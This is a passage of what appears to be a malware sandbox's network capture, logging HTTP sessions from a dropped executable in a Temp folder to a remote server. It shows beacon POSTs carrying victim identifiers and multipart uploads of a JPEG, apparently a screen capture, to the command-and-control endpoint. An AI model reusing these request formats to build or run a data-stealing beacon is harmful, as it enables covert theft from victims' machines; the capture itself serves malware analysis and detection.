Aug 29, 2021 22:28:05.588665009 CEST	13046	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:05.588738918 CEST	13049	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:05.621752977 CEST	13062	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:05.622253895 CEST	13069	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:05.622277975 CEST	13074	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:05.654500008 CEST	13077	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:05.654604912 CEST	13088	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:05.654753923 CEST	13096	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:28:05.654814005 CEST	13101	OUT	Data Raw: 4b 96 37 fe b7 7f e4 64 d4 af 14 b1 47 14 92 45 22 47 32 96 8d 99 48 0e 01 20 90 7b 8c 82 38 ee 2a 2a e9 f5 1d 2f 56 b9 f0 9f 86 2f ed 34 fb a9 6d 6d ed 26 f3 2e 12 06 68 a3 22 e6 43 f3 36 36 8e dd 4d 6d 39 f2 b5 e6 ed f9 99 46 1c c9 99 bf d8 1a Data Ascii: K7dGE"G2H {8**/V/4mm&.h"C66Mm9F3>e-le\|(1q+2yK22! `F@'W}a}ZLCQnt$,e#,0OA-Qn-G?l.Kn,>U cb_2_c
Aug 29, 2021 22:28:05.763569117 CEST	13144	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.4	49923	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:05.743714094 CEST	13144	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:05.829788923 CEST	13145	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.4	49924	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:06.044956923 CEST	13146	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:06.116874933 CEST	13159	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.4	49925	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:06.092088938 CEST	13146	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:06.092171907 CEST	13146	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:06.092422009 CEST	13156	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:06.092498064 CEST	13159	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:06.127814054 CEST	13173	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:06.127895117 CEST	13179	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:06.127918959 CEST	13182	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:06.128051996 CEST	13185	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:06.163054943 CEST	13187	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:06.163091898 CEST	13190	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:06.163279057 CEST	13198	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:06.268516064 CEST	13255	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.4	49926	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:06.278475046 CEST	13255	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:06.350850105 CEST	13256	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.4	49927	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:06.559009075 CEST	13256	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:06.631181955 CEST	13295	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.4	49928	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:06.571857929 CEST	13257	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:06.571968079 CEST	13257	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:06.572149992 CEST	13267	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:06.572263956 CEST	13270	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:06.604933977 CEST	13273	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:06.604994059 CEST	13283	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:06.605098009 CEST	13290	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:06.605118036 CEST	13295	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:06.637507915 CEST	13298	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:06.637577057 CEST	13301	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:06.637650013 CEST	13322	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:06.739362001 CEST	13365	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49754	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:16.987798929 CEST	3068	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:16.987987995 CEST	3068	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:16.988267899 CEST	3078	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:16.988599062 CEST	3081	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:17.023124933 CEST	3086	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
